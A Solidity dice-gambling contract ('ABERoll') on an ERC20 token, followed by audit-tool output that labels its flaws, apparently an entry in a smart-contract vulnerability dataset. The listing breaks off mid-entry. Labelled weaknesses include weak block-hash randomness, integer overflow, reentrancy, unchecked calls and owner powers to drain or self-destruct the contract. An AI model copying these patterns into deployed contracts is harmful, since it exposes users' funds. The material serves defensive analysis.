pragma solidity ^0.4.24; // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() external view returns (uint supply); function balanceOf(address _owner) external view returns (uint balance); function transfer(address _to, uint _value) external returns (bool success); function transferFrom(address _from, address _to, uint _value) external returns (bool success); function approve(address _spender, uint _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint remaining); function decimals() external view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract ABERoll { ERC20 ABEToken = ERC20(0x1Dc2189B355B5F53b5fdF64d22891900b19FB5ea); /// *** Constants section uint256 constant BASE_UNIT = 10 ** ABEToken.decimals() * 10000;//10 ** 18; // ABEToken.decimals() * 10000 // Each bet is deducted 1.5% in favour of the house, but no less than some minimum. // The lower bound is dictated by gas costs of the settleBet transaction, providing // headroom for up to 10 Gwei prices. uint constant HOUSE_EDGE_PERCENT = 15; uint constant HOUSE_EDGE_MINIMUM_AMOUNT = BASE_UNIT * 45/100000; // 0.00045 ABEToken // Bets lower than this amount do not participate in jackpot rolls (and are // not deducted JACKPOT_FEE). uint constant MIN_JACKPOT_BET = BASE_UNIT * 1/10; //0.1 ABEToken // Chance to win jackpot (currently 0.1%) and fee deducted into jackpot fund. uint constant JACKPOT_MODULO = 1000; uint constant JACKPOT_FEE = BASE_UNIT * 1/1000; //0.001 ABEToken // There is minimum and maximum bets. uint constant MIN_BET = BASE_UNIT * 1 /100; // 0.01 ABEToken uint constant MAX_AMOUNT = BASE_UNIT * 300000; // 300000 ABEToken // Modulo is a number of equiprobable outcomes in a game: // - 2 for coin flip // - 6 for dice // - 6*6 = 36 for double dice // - 100 for etheroll // - 37 for roulette // etc. // It's called so because 256-bit entropy is treated like a huge integer and // the remainder of its division by modulo is considered bet outcome. uint constant MAX_MODULO = 100; // For modulos below this threshold rolls are checked against a bit mask, // thus allowing betting on any combination of outcomes. For example, given // modulo 6 for dice, 101000 mask (base-2, big endian) means betting on // 4 and 6; for games with modulos higher than threshold (Etheroll), a simple // limit is used, allowing betting on any outcome in [0, N) range. // // The specific value is dictated by the fact that 256-bit intermediate // multiplication result allows implementing population count efficiently // for numbers that are up to 42 bits, and 40 is the highest multiple of // eight below 42. uint constant MAX_MASK_MODULO = 40; // This is a check on bet mask overflow. uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO; // EVM BLOCKHASH opcode can query no further than 256 blocks into the // past. Given that settleBet uses block hash of placeBet as one of // complementary entropy sources, we cannot process bets older than this // threshold. On rare occasions EthRoll croupier may fail to invoke // settleBet in this timespan due to technical issues or extreme Ethereum // congestion; such bets can be refunded via invoking refundBet. uint constant BET_EXPIRATION_BLOCKS = 250; // Some deliberately invalid address to initialize the secret signer with. // Forces maintainers to invoke setSecretSigner before processing any bets. address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // Standard contract ownership transfer. address public owner; address private nextOwner; // Adjustable max bet profit. Used to cap bets against dynamic odds. uint public maxProfit; // The address corresponding to a private key used to sign placeBet commits. address public secretSigner; // Accumulated jackpot fund. uint128 public jackpotSize; // Funds that are locked in potentially winning bets. Prevents contract from // committing to bets it cannot pay out. uint128 public lockedInBets; address public beneficiary_ = 0xAdD148Cc4F7B1b7520325a7C5934C002420Ab3d5; // A structure representing a single bet. struct Bet { // Wager amount in wei. uint amount; // Modulo of a game. uint8 modulo; // Number of winning outcomes, used to compute winning payment (* modulo/rollUnder), // and used instead of mask for games with modulo > MAX_MASK_MODULO. uint8 rollUnder; // Block number of placeBet tx. uint40 placeBlockNumber; // Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment). uint40 mask; // Address of a gambler, used to pay out winning bets. address gambler; } // Mapping from commits to all currently active & processed bets. mapping (uint => Bet) bets; // Croupier account. address public croupier; // Events that are issued to make statistic recovery easier. event FailedPayment(address indexed beneficiary, uint amount); event Payment(address indexed beneficiary, uint amount); event JackpotPayment(address indexed beneficiary, uint amount); // This event is emitted in placeBet to record commit in the logs. event Commit(uint commit); // Constructor. Deliberately does not take any parameters. constructor () public { owner = msg.sender; secretSigner = DUMMY_ADDRESS; croupier = DUMMY_ADDRESS; } // Standard modifier on methods invokable only by contract owner. modifier onlyOwner { require (msg.sender == owner, "OnlyOwner methods called by non-owner."); _; } // Standard modifier on methods invokable only by contract owner. modifier onlyCroupier { require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier."); _; } // Standard contract ownership transfer implementation, function approveNextOwner(address _nextOwner) external onlyOwner { require (_nextOwner != owner, "Cannot approve current owner."); nextOwner = _nextOwner; } function acceptNextOwner() external { require (msg.sender == nextOwner, "Can only accept preapproved new owner."); owner = nextOwner; } // Fallback function deliberately left empty. It's primary use case // is to top up the bank roll. function () public payable { } // See comment for "secretSigner" variable. function setSecretSigner(address newSecretSigner) external onlyOwner { secretSigner = newSecretSigner; } // Change the croupier address. function setCroupier(address newCroupier) external onlyOwner { croupier = newCroupier; } // Change max bet reward. Setting this to zero effectively disables betting. function setMaxProfit(uint _maxProfit) public onlyOwner { require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number."); maxProfit = _maxProfit; } // This function is used to bump up the jackpot fund. Cannot be used to lower it. function increaseJackpot(uint increaseAmount) external onlyOwner { require (increaseAmount <= ABEToken.balanceOf(this), "Increase amount larger than balance."); require (jackpotSize + lockedInBets + increaseAmount <= ABEToken.balanceOf(this), "Not enough funds."); jackpotSize += uint128(increaseAmount); } // Funds withdrawal to cover costs of EthRoll operation. function withdrawFunds(uint withdrawAmount) external onlyOwner { require (withdrawAmount <= ABEToken.balanceOf(this), "Increase amount larger than balance."); require (jackpotSize + lockedInBets + withdrawAmount <= ABEToken.balanceOf(this), "Not enough funds."); sendFunds(beneficiary_, withdrawAmount, withdrawAmount); } // Contract may be destroyed only when there are no ongoing bets, // either settled or refunded. All funds are transferred to contract owner. function kill() external onlyOwner { require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct."); require(ABEToken.transfer(beneficiary_,ABEToken.balanceOf(address(this)))," send out all token failure"); selfdestruct(beneficiary_); } /// *** Betting logic // Bet states: // amount == 0 && gambler == 0 - 'clean' (can place a bet) // amount != 0 && gambler != 0 - 'active' (can be settled or refunded) // amount == 0 && gambler != 0 - 'processed' (can clean storage) // // NOTE: Storage cleaning is not implemented in this contract version; it will be added // with the next upgrade to prevent polluting Ethereum state with expired bets. // Bet placing transaction - issued by the player. // betMask - bet outcomes bit mask for modulo <= MAX_MASK_MODULO, // [0, betMask) for larger modulos. // modulo - game modulo. // commitLastBlock - number of the maximum block where "commit" is still considered valid. // commit - Keccak256 hash of some secret "reveal" random number, to be supplied // by the EthRoll croupier bot in the settleBet transaction. Supplying // "commit" ensures that "reveal" cannot be changed behind the scenes // after placeBet have been mined. // r, s - components of ECDSA signature of (commitLastBlock, commit). v is // guaranteed to always equal 27. // // Commit, being essentially random 256-bit number, is used as a unique bet identifier in // the 'bets' mapping. // // Commits are signed with a block limit to ensure that they are used at most once - otherwise // it would be possible for a miner to place a bet with a known commit/reveal pair and tamper // with the blockhash. Croupier guarantees that commitLastBlock will always be not greater than // placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details. function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s,uint amount) external { // Check that the bet is in 'clean' state. Bet storage bet = bets[commit]; require (bet.gambler == address(0), "Bet should be in a 'clean' state."); require(ABEToken.transferFrom(msg.sender,this,amount));//need user approve // Validate input data ranges. // uint amount = msg.value; require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range."); require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range."); require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range."); // Check that commit is valid - it has not expired and its signature is valid. require (block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit)); require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid."); uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { // Small modulo games specify bet outcomes via bit mask. // rollUnder is a number of 1 bits in this mask (population count). // This magic looking formula is an efficient way to compute population // count on EVM for numbers below 2**40. For detailed proof consult // the EthRoll whitepaper. rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; } else { // Larger modulos specify the right edge of half-open interval of // winning bet outcomes. require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo."); rollUnder = betMask; } // Winning amount and jackpot increase. uint possibleWinAmount; uint jackpotFee; (possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); // Enforce max profit limit. require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation."); // Lock funds. lockedInBets += uint128(possibleWinAmount); jackpotSize += uint128(jackpotFee); // Check whether contract has enough funds to process this bet. require (jackpotSize + lockedInBets <= ABEToken.balanceOf(this), "Cannot afford to lose this bet."); // Record commit in logs. emit Commit(commit); // Store bet parameters on blockchain. bet.amount = amount; bet.modulo = uint8(modulo); bet.rollUnder = uint8(rollUnder); bet.placeBlockNumber = uint40(block.number); bet.mask = uint40(mask); bet.gambler = msg.sender; } // This is the method used to settle 99% of bets. To process a bet with a specific // "commit", settleBet should supply a "reveal" number that would Keccak256-hash to // "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it // is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs. function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier { uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; uint placeBlockNumber = bet.placeBlockNumber; // Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS). require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before."); require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); require (blockhash(placeBlockNumber) == blockHash); // Settle bet using reveal and blockHash as entropy sources. settleBetCommon(bet, reveal, blockHash); } // This method is used to settle a bet that was mined into an uncle block. At this // point the player was shown some bet outcome, but the blockhash at placeBet height // is different because of Ethereum chain reorg. We supply a full merkle proof of the // placeBet transaction receipt to provide untamperable evidence that uncle block hash // indeed was present on-chain at some point. function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier { // "commit" for bet settlement can only be obtained by hashing a "reveal". uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; // Check that canonical block hash can still be verified. require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); // Verify placeBet receipt. requireCorrectReceipt(4 + 32 + 32 + 4); // Reconstruct canonical & uncle block hashes from a receipt merkle proof, verify them. bytes32 canonicalHash; bytes32 uncleHash; (canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32); require (blockhash(canonicalBlockNumber) == canonicalHash); // Settle bet using reveal and uncleHash as entropy sources. settleBetCommon(bet, reveal, uncleHash); } // Common settlement code for settleBet & settleBetUncleMerkleProof. function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { // Fetch bet parameters into local variables (to save gas). uint amount = bet.amount; uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address gambler = bet.gambler; // Check that bet is in 'active' state. require (amount != 0, "Bet should be in an 'active' state"); // Move bet into 'processed' state already. bet.amount = 0; // The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners // are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256 // preimage is intractable), and house is unable to alter the "reveal" after // placeBet have been mined (as Keccak256 collision finding is also intractable). bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); // Do a roll by taking a modulo of entropy. Compute winning amount. uint dice = uint(entropy) % modulo; uint diceWinAmount; uint _jackpotFee; (diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); uint diceWin = 0; uint jackpotWin = 0; // Determine dice outcome. if (modulo <= MAX_MASK_MODULO) { // For small modulo games, check the outcome against a bit mask. if ((2 ** dice) & bet.mask != 0) { diceWin = diceWinAmount; } } else { // For larger modulos, check inclusion into half-open interval. if (dice < rollUnder) { diceWin = diceWinAmount; } } // Unlock the bet amount, regardless of the outcome. lockedInBets -= uint128(diceWinAmount); // Roll for a jackpot (if eligible). if (amount >= MIN_JACKPOT_BET) { // The second modulo, statistically independent from the "main" dice roll. // Effectively you are playing two games at once! uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO; // Bingo! if (jackpotRng == 0) { jackpotWin = jackpotSize; jackpotSize = 0; } } // Log jackpot win. if (jackpotWin > 0) { emit JackpotPayment(gambler, jackpotWin); } // Send the funds to gambler. sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 : diceWin + jackpotWin, diceWin); } // Refund transaction - return the bet amount of a roll that was not processed in a // due timeframe. Processing such blocks is not possible due to EVM limitations (see // BET_EXPIRATION_BLOCKS comment above for details). In case you ever find yourself // in a situation like this, just contact the EthRoll support, however nothing // precludes you from invoking this method yourself. function refundBet(uint commit) external { // Check that bet is in 'active' state. Bet storage bet = bets[commit]; uint amount = bet.amount; require (amount != 0, "Bet should be in an 'active' state"); // Check that bet has already expired. require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); // Move bet into 'processed' state, release funds. bet.amount = 0; uint diceWinAmount; uint jackpotFee; (diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder); lockedInBets -= uint128(diceWinAmount); jackpotSize -= uint128(jackpotFee); // Send the refund. sendFunds(bet.gambler, amount, amount); } // Get the expected win amount after house edge is subtracted. function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) { require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range."); jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0; uint houseEdge = amount * HOUSE_EDGE_PERCENT / 1000; if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) { houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT; } require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge."); winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder; } // Helper routine to process the payment. function sendFunds(address beneficiary, uint amount, uint successLogAmount) private { if (ABEToken.transfer(beneficiary,amount)) {//beneficiary.call.value(amount)() emit Payment(beneficiary, successLogAmount); } else { emit FailedPayment(beneficiary, amount); } } // This are some constants making O(1) population count in placeBet possible. // See whitepaper for intuition and proofs behind it. uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCNT_MODULO = 0x3F; // *** Merkle proofs. // This helpers are used to verify cryptographic proofs of placeBet inclusion into // uncle blocks. They are used to prevent bet outcome changing on Ethereum reorgs without // compromising the security of the smart contract. Proof data is appended to the input data // in a simple prefix length format and does not adhere to the ABI. // Invariants checked: // - receipt trie entry contains a (1) successful transaction (2) directed at this smart // contract (3) containing commit as a payload. // - receipt trie entry is a part of a valid merkle proof of a block header // - the block header is a part of uncle list of some block on canonical chain // The implementation is optimized for gas cost and relies on the specifics of Ethereum internal data structures. // Read the whitepaper for details. // Helper to verify a full merkle proof starting from some seedHash (usually commit). "offset" is the location of the proof // beginning in the calldata. function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) { // (Safe) assumption - nobody will write into RAM during this method invocation. uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) } uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot; // Verify merkle proofs up to uncle block header. Calldata layout is: // - 2 byte big-endian slice length // - 2 byte big-endian offset to the beginning of previous slice hash within the current slice (should be zeroed) // - followed by the current slice verbatim for (;; offset += blobLength) { assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) } if (blobLength == 0) { // Zero slice length marks the end of uncle proof. break; } assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) } require (shift + 32 <= blobLength, "Shift bounds check."); offset += 4; assembly { hashSlot := calldataload(add(offset, shift)) } require (hashSlot == 0, "Non-empty hash slot."); assembly { calldatacopy(scratchBuf1, offset, blobLength) mstore(add(scratchBuf1, shift), seedHash) seedHash := sha3(scratchBuf1, blobLength) uncleHeaderLength := blobLength } } // At this moment the uncle hash is known. uncleHash = bytes32(seedHash); // Construct the uncle list of a canonical block. uint scratchBuf2 = scratchBuf1 + uncleHeaderLength; uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) } uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) } require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check."); offset += 6; assembly { calldatacopy(scratchBuf2, offset, unclesLength) } memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength); assembly { seedHash := sha3(scratchBuf2, unclesLength) } offset += unclesLength; // Verify the canonical block header using the computed sha3Uncles. assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) shift := and(calldataload(sub(offset, 28)), 0xffff) } require (shift + 32 <= blobLength, "Shift bounds check."); offset += 4; assembly { hashSlot := calldataload(add(offset, shift)) } require (hashSlot == 0, "Non-empty hash slot."); assembly { calldatacopy(scratchBuf1, offset, blobLength) mstore(add(scratchBuf1, shift), seedHash) // At this moment the canonical block hash is known. blockHash := sha3(scratchBuf1, blobLength) } } // Helper to check the placeBet receipt. "offset" is the location of the proof beginning in the calldata. // RLP layout: [triePath, str([status, cumGasUsed, bloomFilter, [[address, [topics], data]])] function requireCorrectReceipt(uint offset) view private { uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) } require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes."); offset += leafHeaderByte - 0xf6; uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) } if (pathHeaderByte <= 0x7f) { offset += 1; } else { require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string."); offset += pathHeaderByte - 0x7f; } uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) } require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k."); offset += 3; uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) } require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k."); offset += 3; uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) } require (statusByte == 0x1, "Status should be success."); offset += 1; uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) } if (cumGasHeaderByte <= 0x7f) { offset += 1; } else { require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string."); offset += cumGasHeaderByte - 0x7f; } uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) } require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long."); offset += 256 + 3; uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) } require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long."); offset += 2; uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) } require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long."); offset += 2; uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) } require (addressHeaderByte == 0x94, "Address is 20 bytes long."); uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) } require (logAddress == uint(address(this))); } // Memory copy. function memcpy(uint dest, uint src, uint len) pure private { // Full 32 byte words for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } }
[{"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["320", "230", "299", "415"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["287"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["620"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["146", "151"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["573", "564", "559", "568", "581", "577", "594", "585", "589", "598", "602", "384", "504", "540", "531", "525", "450", "431", "430", "616", "616", "181", "275", "274", "255", "371", "390", "520", "443", "20", "620"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ABERoll.sol": [621, 622, 623, 624, 625, 626]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ABERoll.sol": [608, 607]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ABERoll.sol": [544, 545, 546, 547, 548, 549, 550, 551]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"ABERoll.sol": [94]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"ABERoll.sol": [512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"ABERoll.sol": [555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"ABERoll.sol": [612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ABERoll.sol": [158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ABERoll.sol": [172, 173, 174, 175]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"ABERoll.sol": [20]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ABERoll.sol": [1]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"ABERoll.sol": [168]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"ABERoll.sol": [174]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"ABERoll.sol": [181]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"ABERoll.sol": [163]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"ABERoll.sol": [168]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ABERoll.sol": [146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ABERoll.sol": [17]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ABERoll.sol": [172]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"ABERoll.sol": [274]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ABERoll.sol": [281]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ABERoll.sol": [456]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ABERoll.sol": [188]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"ABERoll.sol": [181]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"ABERoll.sol": [289]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ABERoll.sol": [520]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ABERoll.sol": [362]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"ABERoll.sol": [37]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"ABERoll.sol": [25]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"ABERoll.sol": [464]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"ABERoll.sol": [247]}}]
[{"error": "Integer Overflow.", "line": 567, "level": "Warning"}, {"error": "Integer Overflow.", "line": 356, "level": "Warning"}, {"error": "Integer Overflow.", "line": 303, "level": "Warning"}, {"error": "Integer Overflow.", "line": 323, "level": "Warning"}, {"error": "Integer Overflow.", "line": 347, "level": "Warning"}, {"error": "Integer Overflow.", "line": 558, "level": "Warning"}, {"error": "Integer Overflow.", "line": 572, "level": "Warning"}, {"error": "Integer Overflow.", "line": 304, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 17, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 75, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 94, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 466, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 558, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 559, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 563, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 567, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 567, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 568, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 572, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 576, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 580, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 584, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 588, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 588, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 589, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 593, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 597, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 601, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 605, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 511, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 529, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 549, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 484, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 162, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 167, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 172, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 79, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 484, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 612, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 555, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 438, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 484, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 188, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 405, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 434, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 158, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 486, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 495, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 501, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 505, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 508, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 521, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 522, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 526, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 529, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 534, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 541, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 544, "severity": 1}, {"rule": 